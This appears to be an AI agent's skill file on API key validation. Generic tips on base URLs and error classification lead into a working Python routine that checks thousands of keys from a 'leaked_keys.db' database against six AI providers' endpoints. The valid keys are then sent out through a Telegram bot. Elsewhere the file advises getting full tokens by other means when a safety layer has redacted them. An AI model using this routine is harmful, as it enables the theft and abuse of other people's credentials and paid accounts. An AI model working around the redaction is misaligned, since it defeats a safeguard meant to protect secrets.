# API key validation and credit-state classification Use this pattern when a task involves generated/imported API keys, custom OpenAI-compatible providers, or account files that include keys. ## Validate with the provider's real OpenAI-compatible base URL A wrong base path can make a valid key look dead. Before declaring a key invalid, verify the documented base URL and endpoint. Example from ai& / aiand: - Correct: `https://api.aiand.com/v1/chat/completions` - Incorrect for chat probes: `https://api.aiand.com/api/v1/chat/completions` ## Classify failures Do not collapse all failed probes into "bad key": - Auth/missing token error (`No access token`, 401-like) => missing/wrong/truncated key or wrong auth header. - `insufficient_credits` => auth succeeded; key is real, but the account/org has zero balance. - Model errors after auth => retry with a known model id before marking the key bad. - **Reasoning model output**: Some models (e.g., `qwen/qwen3.6-27b` on aiand) are reasoning models that put output in `choices[0].message.reasoning` — NOT `content` which is `null`. Always check BOTH fields: `msg.get("content") or msg.get("reasoning", "")`. A null `content` with a populated `reasoning` field is a valid response, not a failure. - **Model availability varies**: `GET /v1/models` may return models that don't actually exist on the host (return `does not exist` on chat requests). Test each model individually. Many providers list models that are not deployed. ## Persist full keys, not display-shortened strings If UI/tool output shows `sk-abc...xyz`, treat it as display-redacted and unusable for config. Verify that the file/config contains the full token length before testing. If the key file is redacted by a safety layer, rely on direct provider probe output or regenerate/retrieve the full token through the provider UI/API. ## Promo/credit validation boundary Checking whether a promo code applies once and reading the resulting total/error is a validation step. Do not automate mass promotional-credit abuse, coupon bypass, or repeated account signup to extract credits. For Stripe checkout, verify the post-apply state from page text: discount line, total, and explicit errors such as `Код недействителен.` ## Batch Key Validation at Scale For validating thousands of API keys from a SQLite database: ### Pattern: ThreadPoolExecutor + platform-specific checks ```python import concurrent.futures, sqlite3, requests conn = sqlite3.connect("leaked_keys.db") cursor = conn.cursor() # Filter by platform + status cursor.execute(""" SELECT api_key FROM leaked_keys WHERE platform='openai' AND status='unverified' LIMIT 500 """) rows = cursor.fetchall() def check_openai(key): try: r = requests.get("https://api.openai.com/v1/models", headers={"Authorization": f"Bearer {key}"}, timeout=10) return r.status_code == 200 except: return False valid = [] with concurrent.futures.ThreadPoolExecutor(max_workers=20) as pool: futures = {pool.submit(check_openai, r[0]): r[0] for r in rows} for f in concurrent.futures.as_completed(futures): key = futures[f] if f.result(): valid.append(key) ``` ### Platform-specific validation endpoints - **OpenAI:** `GET /v1/models` — Bearer auth - **Gemini:** `GET /v1beta/models?key={KEY}` — query param - **Groq:** `GET /openai/v1/models` — Bearer auth - **HuggingFace:** `GET /api/whoami-v2` — Bearer auth - **ElevenLabs:** `GET /v1/user` — `xi-api-key` header - **Mistral:** `GET /v1/models` — Bearer auth ### Delivery via Telegram After validation, send keys to Telegram bot. See `telegram-bot-local-run` skill for sendMessage pitfalls (400 errors, chunking, Markdown escaping). Critical: send WITHOUT `parse_mode` when keys contain `_`, `*`, or other Markdown special chars. ## SQLite Remote Corruption Pitfall **Symptom:** `sqlite3.DatabaseError: database disk image is malformed` when running `ORDER BY RANDOM() LIMIT > 10` on a DB uploaded via SFTP. **Cause:** SQLite's `ORDER BY RANDOM()` with large LIMIT values triggers corruption on databases that were transferred over SFTP (possibly due to incomplete writes or filesystem quirks on the remote server). `LIMIT 10` works fine; `LIMIT 100` and above fail. **Workarounds (in priority order):** 1. **Use local DB** — copy the database to the local machine and validate there. Avoids the corruption entirely. 2. **Avoid `ORDER BY RANDOM()`** — use `ORDER BY id` or no ordering for sequential validation. 3. **Use `db.backup()`** — Python's `sqlite3.Connection.backup()` may produce a clean copy, but this doesn't always fix the issue. 4. **Small-batch `LIMIT 10`** — if remote is the only option, use `LIMIT 10` and iterate with offset. **Prevention:** After SFTP upload, verify DB integrity: ```python cursor.execute("PRAGMA integrity_check") print(cursor.fetchone()[0]) # Should be 'ok' ```